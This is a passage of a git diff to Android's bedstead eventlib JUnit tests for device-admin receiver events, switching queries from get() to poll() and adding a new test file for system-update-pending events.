-        assertThat(eventLogs.get().deviceAdminReceiver().className()).isEqualTo(
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
                 CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
     }
 
@@ -125,10 +125,10 @@
 
         EventLogs<DeviceAdminDisableRequestedEvent> eventLogs =
                 DeviceAdminDisableRequestedEvent.queryPackage(sContext.getPackageName())
-                        .whereDeviceAdminReceiver().className()
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
                         .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
 
-        assertThat(eventLogs.get().deviceAdminReceiver().className())
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
                 .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
     }
 
@@ -142,10 +142,10 @@
 
         EventLogs<DeviceAdminDisableRequestedEvent> eventLogs =
                 DeviceAdminDisableRequestedEvent.queryPackage(sContext.getPackageName())
-                        .whereDeviceAdminReceiver().className()
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
                         .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
 
-        assertThat(eventLogs.get().deviceAdminReceiver().className())
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
                 .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
     }
 
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisabledEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisabledEventTest.java
index 0aa04ef..ba1e8b8 100644
--- a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisabledEventTest.java
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisabledEventTest.java
@@ -65,7 +65,7 @@
                 DeviceAdminDisabledEvent.queryPackage(sContext.getPackageName())
                         .whereIntent().action().isEqualTo(STRING_VALUE);
 
-        assertThat(eventLogs.get().intent()).isEqualTo(intent);
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
     }
 
     @Test
@@ -81,7 +81,7 @@
                 DeviceAdminDisabledEvent.queryPackage(sContext.getPackageName())
                         .whereIntent().action().isEqualTo(STRING_VALUE);
 
-        assertThat(eventLogs.get().intent()).isEqualTo(intent);
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
     }
 
     @Test
@@ -92,10 +92,10 @@
 
         EventLogs<DeviceAdminDisabledEvent> eventLogs =
                 DeviceAdminDisabledEvent.queryPackage(sContext.getPackageName())
-                        .whereDeviceAdminReceiver().className().isEqualTo(
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className().isEqualTo(
                         CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
 
-        assertThat(eventLogs.get().deviceAdminReceiver().className()).isEqualTo(
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
                 CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
     }
 
@@ -110,10 +110,10 @@
 
         EventLogs<DeviceAdminDisabledEvent> eventLogs =
                 DeviceAdminDisabledEvent.queryPackage(sContext.getPackageName())
-                        .whereDeviceAdminReceiver().className().isEqualTo(
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className().isEqualTo(
                         CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
 
-        assertThat(eventLogs.get().deviceAdminReceiver().className()).isEqualTo(
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
                 CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
     }
 
@@ -123,10 +123,10 @@
 
         EventLogs<DeviceAdminDisabledEvent> eventLogs =
                 DeviceAdminDisabledEvent.queryPackage(sContext.getPackageName())
-                        .whereDeviceAdminReceiver().className()
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
                         .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
 
-        assertThat(eventLogs.get().deviceAdminReceiver().className())
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
                 .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
     }
 
@@ -140,10 +140,10 @@
 
         EventLogs<DeviceAdminDisabledEvent> eventLogs =
                 DeviceAdminDisabledEvent.queryPackage(sContext.getPackageName())
-                        .whereDeviceAdminReceiver().className()
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
                         .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
 
-        assertThat(eventLogs.get().deviceAdminReceiver().className())
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
                 .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
     }
 
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminEnabledEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminEnabledEventTest.java
index 894dea0..d30956f 100644
--- a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminEnabledEventTest.java
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminEnabledEventTest.java
@@ -65,7 +65,7 @@
                 DeviceAdminEnabledEvent.queryPackage(sContext.getPackageName())
                         .whereIntent().action().isEqualTo(STRING_VALUE);
 
-        assertThat(eventLogs.get().intent()).isEqualTo(intent);
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
     }
 
     @Test
@@ -81,7 +81,7 @@
                 DeviceAdminEnabledEvent.queryPackage(sContext.getPackageName())
                         .whereIntent().action().isEqualTo(STRING_VALUE);
 
-        assertThat(eventLogs.get().intent()).isEqualTo(intent);
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
     }
 
     @Test
@@ -92,10 +92,10 @@
 
         EventLogs<DeviceAdminEnabledEvent> eventLogs =
                 DeviceAdminEnabledEvent.queryPackage(sContext.getPackageName())
-                        .whereDeviceAdminReceiver().className().isEqualTo(
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className().isEqualTo(
                         CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
 
-        assertThat(eventLogs.get().deviceAdminReceiver().className()).isEqualTo(
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
                 CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
     }
 
@@ -110,10 +110,10 @@
 
         EventLogs<DeviceAdminEnabledEvent> eventLogs =
                 DeviceAdminEnabledEvent.queryPackage(sContext.getPackageName())
-                        .whereDeviceAdminReceiver().className().isEqualTo(
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className().isEqualTo(
                         CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
 
-        assertThat(eventLogs.get().deviceAdminReceiver().className()).isEqualTo(
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
                 CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
     }
 
@@ -123,10 +123,10 @@
 
         EventLogs<DeviceAdminEnabledEvent> eventLogs =
                 DeviceAdminEnabledEvent.queryPackage(sContext.getPackageName())
-                        .whereDeviceAdminReceiver().className()
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
                         .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
 
-        assertThat(eventLogs.get().deviceAdminReceiver().className())
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
                 .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
     }
 
@@ -140,10 +140,10 @@
 
         EventLogs<DeviceAdminEnabledEvent> eventLogs =
                 DeviceAdminEnabledEvent.queryPackage(sContext.getPackageName())
-                        .whereDeviceAdminReceiver().className()
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
                         .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
 
-        assertThat(eventLogs.get().deviceAdminReceiver().className())
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
                 .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
     }
 
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordChangedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordChangedEventTest.java
index 28c5966..ea936e7 100644
--- a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordChangedEventTest.java
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordChangedEventTest.java
@@ -68,7 +68,7 @@
                 DeviceAdminPasswordChangedEvent.queryPackage(sContext.getPackageName())
                         .whereIntent().action().isEqualTo(STRING_VALUE);
 
-        assertThat(eventLogs.get().intent()).isEqualTo(intent);
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
     }
 
     @Test
@@ -85,7 +85,7 @@
                 DeviceAdminPasswordChangedEvent.queryPackage(sContext.getPackageName())
                         .whereIntent().action().isEqualTo(STRING_VALUE);
 
-        assertThat(eventLogs.get().intent()).isEqualTo(intent);
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
     }
 
     @Test
@@ -96,10 +96,10 @@
 
         EventLogs<DeviceAdminPasswordChangedEvent> eventLogs =
                 DeviceAdminPasswordChangedEvent.queryPackage(sContext.getPackageName())
-                        .whereDeviceAdminReceiver().className().isEqualTo(
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className().isEqualTo(
                         CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
 
-        assertThat(eventLogs.get().deviceAdminReceiver().className()).isEqualTo(
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
                 CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
     }
 
@@ -114,10 +114,10 @@
 
         EventLogs<DeviceAdminPasswordChangedEvent> eventLogs =
                 DeviceAdminPasswordChangedEvent.queryPackage(sContext.getPackageName())
-                        .whereDeviceAdminReceiver().className().isEqualTo(
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className().isEqualTo(
                         CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
 
-        assertThat(eventLogs.get().deviceAdminReceiver().className()).isEqualTo(
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
                 CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
     }
 
@@ -127,10 +127,10 @@
 
         EventLogs<DeviceAdminPasswordChangedEvent> eventLogs =
                 DeviceAdminPasswordChangedEvent.queryPackage(sContext.getPackageName())
-                        .whereDeviceAdminReceiver().className()
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
                         .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
 
-        assertThat(eventLogs.get().deviceAdminReceiver().className())
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
                 .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
     }
 
@@ -144,10 +144,10 @@
 
         EventLogs<DeviceAdminPasswordChangedEvent> eventLogs =
                 DeviceAdminPasswordChangedEvent.queryPackage(sContext.getPackageName())
-                        .whereDeviceAdminReceiver().className()
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
                         .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
 
-        assertThat(eventLogs.get().deviceAdminReceiver().className())
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
                 .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
     }
 
@@ -161,7 +161,7 @@
                 DeviceAdminPasswordChangedEvent.queryPackage(sContext.getPackageName())
                         .whereUserHandle().isEqualTo(USER_HANDLE);
 
-        assertThat(eventLogs.get().userHandle()).isEqualTo(USER_HANDLE);
+        assertThat(eventLogs.poll().userHandle()).isEqualTo(USER_HANDLE);
     }
 
     @Test
@@ -177,6 +177,6 @@
                 DeviceAdminPasswordChangedEvent.queryPackage(sContext.getPackageName())
                         .whereUserHandle().isEqualTo(USER_HANDLE);
 
-        assertThat(eventLogs.get().userHandle()).isEqualTo(USER_HANDLE);
+        assertThat(eventLogs.poll().userHandle()).isEqualTo(USER_HANDLE);
     }
 }
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordFailedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordFailedEventTest.java
index 814d869..09123c5 100644
--- a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordFailedEventTest.java
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordFailedEventTest.java
@@ -68,7 +68,7 @@
                 DeviceAdminPasswordFailedEvent.queryPackage(sContext.getPackageName())
                         .whereIntent().action().isEqualTo(STRING_VALUE);
 
-        assertThat(eventLogs.get().intent()).isEqualTo(intent);
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
     }
 
     @Test
@@ -85,7 +85,7 @@
                 DeviceAdminPasswordFailedEvent.queryPackage(sContext.getPackageName())
                         .whereIntent().action().isEqualTo(STRING_VALUE);
 
-        assertThat(eventLogs.get().intent()).isEqualTo(intent);
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
     }
 
     @Test
@@ -96,10 +96,10 @@
 
         EventLogs<DeviceAdminPasswordFailedEvent> eventLogs =
                 DeviceAdminPasswordFailedEvent.queryPackage(sContext.getPackageName())
-                        .whereDeviceAdminReceiver().className().isEqualTo(
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className().isEqualTo(
                         CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
 
-        assertThat(eventLogs.get().deviceAdminReceiver().className()).isEqualTo(
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
                 CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
     }
 
@@ -114,10 +114,10 @@
 
         EventLogs<DeviceAdminPasswordFailedEvent> eventLogs =
                 DeviceAdminPasswordFailedEvent.queryPackage(sContext.getPackageName())
-                        .whereDeviceAdminReceiver().className().isEqualTo(
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className().isEqualTo(
                         CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
 
-        assertThat(eventLogs.get().deviceAdminReceiver().className()).isEqualTo(
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
                 CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
     }
 
@@ -127,10 +127,10 @@
 
         EventLogs<DeviceAdminPasswordFailedEvent> eventLogs =
                 DeviceAdminPasswordFailedEvent.queryPackage(sContext.getPackageName())
-                        .whereDeviceAdminReceiver().className()
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
                         .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
 
-        assertThat(eventLogs.get().deviceAdminReceiver().className())
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
                 .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
     }
 
@@ -144,10 +144,10 @@
 
         EventLogs<DeviceAdminPasswordFailedEvent> eventLogs =
                 DeviceAdminPasswordFailedEvent.queryPackage(sContext.getPackageName())
-                        .whereDeviceAdminReceiver().className()
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
                         .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
 
-        assertThat(eventLogs.get().deviceAdminReceiver().className())
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
                 .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
     }
 
@@ -161,7 +161,7 @@
                 DeviceAdminPasswordFailedEvent.queryPackage(sContext.getPackageName())
                         .whereUserHandle().isEqualTo(USER_HANDLE);
 
-        assertThat(eventLogs.get().userHandle()).isEqualTo(USER_HANDLE);
+        assertThat(eventLogs.poll().userHandle()).isEqualTo(USER_HANDLE);
     }
 
     @Test
@@ -177,6 +177,6 @@
                 DeviceAdminPasswordFailedEvent.queryPackage(sContext.getPackageName())
                         .whereUserHandle().isEqualTo(USER_HANDLE);
 
-        assertThat(eventLogs.get().userHandle()).isEqualTo(USER_HANDLE);
+        assertThat(eventLogs.poll().userHandle()).isEqualTo(USER_HANDLE);
     }
 }
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordSucceededEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordSucceededEventTest.java
index c123c7d..2ea281e 100644
--- a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordSucceededEventTest.java
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordSucceededEventTest.java
@@ -68,7 +68,7 @@
                 DeviceAdminPasswordSucceededEvent.queryPackage(sContext.getPackageName())
                         .whereIntent().action().isEqualTo(STRING_VALUE);
 
-        assertThat(eventLogs.get().intent()).isEqualTo(intent);
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
     }
 
     @Test
@@ -85,7 +85,7 @@
                 DeviceAdminPasswordSucceededEvent.queryPackage(sContext.getPackageName())
                         .whereIntent().action().isEqualTo(STRING_VALUE);
 
-        assertThat(eventLogs.get().intent()).isEqualTo(intent);
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
     }
 
     @Test
@@ -96,10 +96,10 @@
 
         EventLogs<DeviceAdminPasswordSucceededEvent> eventLogs =
                 DeviceAdminPasswordSucceededEvent.queryPackage(sContext.getPackageName())
-                        .whereDeviceAdminReceiver().className().isEqualTo(
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className().isEqualTo(
                         CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
 
-        assertThat(eventLogs.get().deviceAdminReceiver().className()).isEqualTo(
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
                 CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
     }
 
@@ -114,10 +114,10 @@
 
         EventLogs<DeviceAdminPasswordSucceededEvent> eventLogs =
                 DeviceAdminPasswordSucceededEvent.queryPackage(sContext.getPackageName())
-                        .whereDeviceAdminReceiver().className().isEqualTo(
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className().isEqualTo(
                         CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
 
-        assertThat(eventLogs.get().deviceAdminReceiver().className()).isEqualTo(
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
                 CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
     }
 
@@ -127,10 +127,10 @@
 
         EventLogs<DeviceAdminPasswordSucceededEvent> eventLogs =
                 DeviceAdminPasswordSucceededEvent.queryPackage(sContext.getPackageName())
-                        .whereDeviceAdminReceiver().className()
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
                         .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
 
-        assertThat(eventLogs.get().deviceAdminReceiver().className())
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
                 .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
     }
 
@@ -144,10 +144,10 @@
 
         EventLogs<DeviceAdminPasswordSucceededEvent> eventLogs =
                 DeviceAdminPasswordSucceededEvent.queryPackage(sContext.getPackageName())
-                        .whereDeviceAdminReceiver().className()
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
                         .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
 
-        assertThat(eventLogs.get().deviceAdminReceiver().className())
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
                 .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
     }
 
@@ -161,7 +161,7 @@
                 DeviceAdminPasswordSucceededEvent.queryPackage(sContext.getPackageName())
                         .whereUserHandle().isEqualTo(USER_HANDLE);
 
-        assertThat(eventLogs.get().userHandle()).isEqualTo(USER_HANDLE);
+        assertThat(eventLogs.poll().userHandle()).isEqualTo(USER_HANDLE);
     }
 
     @Test
@@ -177,6 +177,6 @@
                 DeviceAdminPasswordSucceededEvent.queryPackage(sContext.getPackageName())
                         .whereUserHandle().isEqualTo(USER_HANDLE);
 
-        assertThat(eventLogs.get().userHandle()).isEqualTo(USER_HANDLE);
+        assertThat(eventLogs.poll().userHandle()).isEqualTo(USER_HANDLE);
     }
 }
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminSystemUpdatePendingEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminSystemUpdatePendingEventTest.java
new file mode 100644
index 0000000..3265f90
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminSystemUpdatePendingEventTest.java
@@ -0,0 +1,195 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.eventlib.EventLogs;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public final class DeviceAdminSystemUpdatePendingEventTest {
+
+    private static final TestApis sTestApis = new TestApis();
+    private static final Context sContext = sTestApis.context().instrumentedContext();
+    private static final String STRING_VALUE = "Value";
+    private static final String DIFFERENT_STRING_VALUE = "Value2";
+    private static final Intent INTENT = new Intent();
+
+    private static final String DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            TestDeviceAdminReceiver.class.getName();
+    private static final String CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver";
+    private static final String DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver2";
+    private static final DeviceAdminReceiver DEVICE_ADMIN_RECEIVER = new TestDeviceAdminReceiver();
+    private static final long RECEIVED_TIME = 50L;
+    private static final long DIFFERENT_RECEIVED_TIME = 70L;
+
+    private static class TestDeviceAdminReceiver extends DeviceAdminReceiver {
+    }
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void whereIntent_works() {
+        Intent intent = new Intent();
+        intent.setAction(STRING_VALUE);
+        DeviceAdminSystemUpdatePendingEvent
+                .logger(DEVICE_ADMIN_RECEIVER, sContext, intent, RECEIVED_TIME)
+                .log();
+
+        EventLogs<DeviceAdminSystemUpdatePendingEvent> eventLogs =
+                DeviceAdminSystemUpdatePendingEvent.queryPackage(sContext.getPackageName())
+                        .whereIntent().action().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
+    }
+
+    @Test
+    public void whereIntent_skipsNonMatching() {
+        Intent intent = new Intent();
+        intent.setAction(STRING_VALUE);
+        Intent differentIntent = new Intent();
+        differentIntent.setAction(DIFFERENT_STRING_VALUE);
+        DeviceAdminSystemUpdatePendingEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, differentIntent, RECEIVED_TIME).log();
+        DeviceAdminSystemUpdatePendingEvent
+                .logger(DEVICE_ADMIN_RECEIVER, sContext, intent, RECEIVED_TIME)
+                .log();
+
+        EventLogs<DeviceAdminSystemUpdatePendingEvent> eventLogs =
+                DeviceAdminSystemUpdatePendingEvent.queryPackage(sContext.getPackageName())
+                        .whereIntent().action().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_works() {
+        DeviceAdminSystemUpdatePendingEvent
+                .logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, RECEIVED_TIME)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminSystemUpdatePendingEvent> eventLogs =
+                DeviceAdminSystemUpdatePendingEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                                .isEqualTo(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
+                .isEqualTo(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_skipsNonMatching() {
+        DeviceAdminSystemUpdatePendingEvent
+                .logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, RECEIVED_TIME)
+                .setDeviceAdminReceiver(DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminSystemUpdatePendingEvent
+                .logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, RECEIVED_TIME)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminSystemUpdatePendingEvent> eventLogs =
+                DeviceAdminSystemUpdatePendingEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                                .isEqualTo(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
+                .isEqualTo(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_defaultValue_works() {
+        DeviceAdminSystemUpdatePendingEvent
+                .logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, RECEIVED_TIME)
+                .log();
+
+        EventLogs<DeviceAdminSystemUpdatePendingEvent> eventLogs =
+                DeviceAdminSystemUpdatePendingEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_defaultValue_skipsNonMatching() {
+        DeviceAdminSystemUpdatePendingEvent
+                .logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, RECEIVED_TIME)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminSystemUpdatePendingEvent
+                .logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, RECEIVED_TIME)
+                .log();
+
+        EventLogs<DeviceAdminSystemUpdatePendingEvent> eventLogs =
+                DeviceAdminSystemUpdatePendingEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereReceivedTime_works() {
+        DeviceAdminSystemUpdatePendingEvent
+                .logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, RECEIVED_TIME)
+                .setReceivedTime(RECEIVED_TIME)
+                .log();
+
+        EventLogs<DeviceAdminSystemUpdatePendingEvent> eventLogs =
+                DeviceAdminSystemUpdatePendingEvent.queryPackage(sContext.getPackageName())
+                        .whereReceivedTime().isEqualTo(RECEIVED_TIME);
+
+        assertThat(eventLogs.poll().receivedTime()).isEqualTo(RECEIVED_TIME);
+    }
+
+    @Test
+    public void whereReceivedTime_skipsNonMatching() {
+        DeviceAdminSystemUpdatePendingEvent
+                .logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT, RECEIVED_TIME)
+                .setReceivedTime(DIFFERENT_RECEIVED_TIME)
+                .log();
+        DeviceAdminSystemUpdatePendingEvent
